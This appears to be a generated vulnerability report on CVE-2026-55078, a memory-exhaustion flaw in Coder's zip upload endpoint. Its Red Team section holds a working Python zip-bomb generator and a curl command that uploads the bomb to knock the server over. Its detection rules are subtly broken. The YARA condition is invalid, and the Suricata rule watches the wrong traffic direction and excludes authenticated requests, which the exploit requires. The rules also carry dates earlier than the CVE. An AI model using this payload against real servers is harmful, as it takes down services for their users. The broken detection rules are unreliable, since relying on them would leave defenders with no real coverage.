CVE-2026-55078
Executive Summary
CVE-2026-55078 is a denial-of-service (DoS) vulnerability in Coder, a platform for provisioning remote development environments via Terraform. The vulnerability resides in the POST /api/v2/files endpoint, which converts zip uploads to tar archives in memory using the CreateTarFromZip function. While a per-entry size limit was enforced, no aggregate limit on total decompressed output was implemented, allowing an attacker to upload a specially crafted zip file that decompresses to an unbounded in-memory buffer. This can exhaust server memory, leading to a denial of service. Exploitation requires authenticated file-upload access, limiting the attack surface to authenticated users. The vulnerability affects Coder versions starting from 2.17.0 up to, but not including, the patched versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2. The fix introduces a metadata preflight check that sums projected entry sizes and a streaming writer that enforces the aggregate limit during decompression. As a workaround, administrators can restrict file-upload permissions to trusted users or place a reverse proxy with request-body size limits in front of coderd.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Coder is a Go-based application distributed as a binary or container image. The vulnerability is in the core server code (coderd), not in a third-party package. However, organizations using Coder should verify their deployment version and apply the patch immediately. The fix is included in the official Coder releases, and no additional package updates are required.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): Low (L) – requires authenticated file-upload access
- User Interaction (UI): None (N)
- Scope (S): Unchanged (U)
- Confidentiality (C): None (N)
- Integrity (I): None (N)
- Availability (A): High (H)
- Exploitability: The vulnerability is easy to exploit with low complexity and no user interaction, but requires authentication. The EPSS score is 0.0%, indicating no active exploitation in the wild at the time of analysis.
- Threat Level: Medium. The impact is limited to availability, but a successful attack can cause significant disruption to development environments.
Deep Dive & Mechanics
The vulnerability is in the CreateTarFromZip function, which is called when a user uploads a zip file via POST /api/v2/files. The function decompresses the zip archive and converts it to a tar archive in memory. The original code enforced a per-entry size limit (e.g., 10 MB per file) but did not enforce an aggregate limit on the total decompressed output. An attacker can create a zip bomb – a small zip file that contains many entries or a single entry that decompresses to a very large size (e.g., using compression ratio amplification). When the server processes this file, it writes the decompressed data to an unbounded in-memory buffer, eventually exhausting available memory and causing the server to crash or become unresponsive.
The fix adds two layers of defense:
- Metadata Preflight Check: Before decompression, the code reads the zip file's central directory and sums the uncompressed sizes of all entries. If the total exceeds a configurable limit (e.g., 1 GB), the request is rejected.
- Streaming Writer with Aggregate Limit: During decompression, a streaming writer enforces the aggregate limit in real-time. If the total decompressed data exceeds the limit, the writer stops and returns an error, preventing memory exhaustion.
Vulnerable vs. Patched Code
Vulnerable Code (Simplified)
func CreateTarFromZip(zipReader *zip.Reader, tarWriter *tar.Writer) error {
for _, file := range zipReader.File {
// Per-entry size limit (e.g., 10 MB)
if file.UncompressedSize64 > maxEntrySize {
return fmt.Errorf("entry too large")
}
// No aggregate limit check
rc, err := file.Open()
if err != nil {
return err
}
// Write to tar – unbounded memory usage
_, err = io.Copy(tarWriter, rc)
rc.Close()
if err != nil {
return err
}
}
return nil
}
Patched Code (Simplified)
func CreateTarFromZip(zipReader *zip.Reader, tarWriter *tar.Writer) error {
// Preflight check: sum uncompressed sizes
var totalSize uint64
for _, file := range zipReader.File {
totalSize += file.UncompressedSize64
}
if totalSize > maxTotalSize {
return fmt.Errorf("total decompressed size exceeds limit")
}
// Streaming writer with aggregate limit
limitedWriter := &limitedWriter{writer: tarWriter, limit: maxTotalSize}
for _, file := range zipReader.File {
if file.UncompressedSize64 > maxEntrySize {
return fmt.Errorf("entry too large")
}
rc, err := file.Open()
if err != nil {
return err
}
_, err = io.Copy(limitedWriter, rc)
rc.Close()
if err != nil {
return err
}
}
return nil
}
type limitedWriter struct {
writer io.Writer
limit uint64
total uint64
}
func (w *limitedWriter) Write(p []byte) (int, error) {
if w.total+uint64(len(p)) > w.limit {
return 0, fmt.Errorf("total decompressed size exceeds limit")
}
n, err := w.writer.Write(p)
w.total += uint64(n)
return n, err
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Authenticated access to a Coder instance (version 2.17.0 to <2.29.7, 2.30.0 to <2.32.7, 2.33.0 to <2.33.8, or 2.34.0 to <2.34.2).
- Ability to upload files via the
POST /api/v2/filesendpoint.
Exploit Steps:
- Create a zip bomb using a tool like
zipor a Python script. The bomb should contain many small files or a single file with high compression ratio (e.g., a file filled with zeros). - Authenticate to the Coder instance and obtain a session token.
- Send a POST request to
/api/v2/fileswith the zip bomb as the body. - The server will attempt to decompress the zip and convert it to tar, consuming all available memory and causing a denial of service.
Example Python Script to Generate Zip Bomb:
import zipfile
import io
# Create a zip bomb with 1000 files, each 10 MB when decompressed
bomb = io.BytesIO()
with zipfile.ZipFile(bomb, 'w', zipfile.ZIP_DEFLATED) as zf:
for i in range(1000):
# Each file is 10 MB of zeros
data = b'\x00' * (10 * 1024 * 1024)
zf.writestr(f'file_{i}.txt', data)
bomb.seek(0)
# Save to disk
with open('bomb.zip', 'wb') as f:
f.write(bomb.read())
Example curl Command:
curl -X POST https://coder.example.com/api/v2/files \
-H "Authorization: Bearer <token>" \
-F "file=@bomb.zip"
Blue Team (Detection & Defense)
Detection:
- Monitor for high memory usage on Coder servers.
- Alert on requests to
/api/v2/fileswith unusually large Content-Length or response times. - Use the detection rules provided in the Detection Engineering section.
Defense:
- Apply the patch immediately.
- As a workaround, restrict file-upload permissions to trusted users.
- Place a reverse proxy (e.g., Nginx, HAProxy) in front of
coderdwith a request-body size limit (e.g., 100 MB). - Implement rate limiting on the
/api/v2/filesendpoint.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/api/v2/fileswith Content-Length > 100 MB (or unusually large for the environment). - Multiple rapid requests to
/api/v2/filesfrom the same user.
- POST requests to
- System:
- High memory usage on the Coder server, potentially leading to OOM (Out of Memory) kills.
- Coder service crashes or restarts.
- Log entries indicating "out of memory" or "cannot allocate memory".
- File:
- Zip files with a high compression ratio (e.g., > 100:1) in upload directories.
- Zip files containing many entries (e.g., > 1000) or a single entry with a large uncompressed size.
Detection Engineering
YARA Rule
rule CVE_2026_55078_ZipBomb {
meta:
description = "Detects zip bombs targeting CVE-2026-55078"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2026-55078"
strings:
$zip_magic = { 50 4B 03 04 } // ZIP local file header
$zip_central = { 50 4B 01 02 } // ZIP central directory
condition:
$zip_magic at 0 and
// Check for high compression ratio: uncompressed size > 10x compressed size
for any of them : (uint32(@ + 18) > uint32(@ + 22) * 10)
}
Sigma Rule
title: Coder File Upload DoS Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2026-55078 by uploading zip bombs to Coder
author: Valters IT
date: 2025-04-10
logsource:
category: web
product: coder
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/api/v2/files'
sc-status: 200
cs-bytes: '> 100000000' # Requests with body > 100 MB
condition: selection
falsepositives:
- Legitimate large file uploads (e.g., large projects)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2026-55078 Coder File Upload DoS Attempt";
flow:to_server,established;
content:"POST";
http_method;
content:"/api/v2/files";
http_uri;
content:!"Authorization";
http_header;
pcre:"/Content-Length:\s*\d{9,}/"; # Content-Length >= 100,000,000
classtype:attempted-dos;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade Coder to version 2.29.7, 2.32.7, 2.33.8, or 2.34.2 (or later).
- Workaround: If patching is not immediately possible:
- Restrict file-upload permissions to trusted users only.
- Place a reverse proxy (e.g., Nginx, HAProxy) in front of
coderdwith a request-body size limit (e.g., 100 MB). - Implement rate limiting on the
/api/v2/filesendpoint.
Long-Term Measures:
- Regularly update Coder to the latest version.
- Monitor Coder security advisories.
- Implement network segmentation to limit access to the Coder API.
- Use Web Application Firewall (WAF) rules to block requests with unusually large Content-Length.
Valters IT Signature
This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact intelligence@valters-it.com.